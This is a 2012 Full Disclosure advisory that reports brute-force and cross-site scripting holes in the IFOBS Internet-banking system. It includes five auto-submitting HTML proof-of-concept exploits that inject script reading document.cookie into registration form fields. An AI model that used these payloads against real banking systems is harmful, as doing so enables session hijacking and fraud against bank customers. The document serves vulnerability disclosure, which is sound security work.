Full Disclosure mailing list archives
Multiple vulnerabilities in IFOBS
From: "MustLive" <mustlive () websecurity com ua>
Date: Sat, 15 Sep 2012 17:15:27 +0300
Hello list! I want to warn you about Brute Force and Cross-Site Scripting vulnerabilities in system IFOBS. IFOBS - it's Internet-banking system, which is widespread and particularly it's used by large number of Ukrainian banks. These are the first 38 vulnerabilities in IFOBS: 2 BF and 36 XSS. ------------------------- Affected products: ------------------------- Vulnerable are all versions of IFOBS. The developers have ignored and not fixed these vulnerabilities (all holes from three advisories). ---------- Details: ---------- Brute Force (WASC-11): In login form http://site/ifobsClient/loginlite.jsp there is no protection against picking up password (captcha). In login form http://site/ifobsClient/loginsecurity.jsp there is no protection against picking up password (captcha). Cross-Site Scripting (WASC-08): POST request at page http://site/ifobsClient/regclientprint.jsp in parameters: secondName, firstName, thirdName, BirthDay, BirthMonth, BirthYear, address, livePlace, nationality, passportSerial, passportNumber, passportIssueAgency, PassportDay, PassportMonth, PassportYear, tempDocSerial, tempDocNumber, DocDay, DocMonth, DocYear, idCodeNumber, idCodeRegPlace, CodeRegDay, CodeRegMonth, CodeRegYear, phone, email, pmcountry, pmnumber, keyword, bankOblastSelect, bankCitySelect, bankRegionSelect, bankDepSelect, bankAddress, bankContacts. Exploits for the first five vulnerabilities (in parameters secondName, firstName, thirdName, BirthDay, BirthMonth): IFOBS XSS-1.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post"> <input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-2.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post"> <input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-3.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post"> <input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-4.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post"> <input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-5.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post"> <input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> ------------ Timeline: ------------ 2012.05.04 - found vulnerabilities during pentest. After I've informed my client, he could inform the developers. 2012.05.29 - announced at my site. 2012.06.01 - informed the developers about vulnerabilities (the first advisory). 2012.06.01 - informed the developers about vulnerabilities (the second advisory). 2012.06.02 - informed the developers about vulnerabilities (the third advisory). 2012.09.14 - disclosed at my site (http://websecurity.com.ua/5852/). Best wishes & regards, Eugene Dokukin aka MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Multiple vulnerabilities in IFOBS MustLive (Sep 15)